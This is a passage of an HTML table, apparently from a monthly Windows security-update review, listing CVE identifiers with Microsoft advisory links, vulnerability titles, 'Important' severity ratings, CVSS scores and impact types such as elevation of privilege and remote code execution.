  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
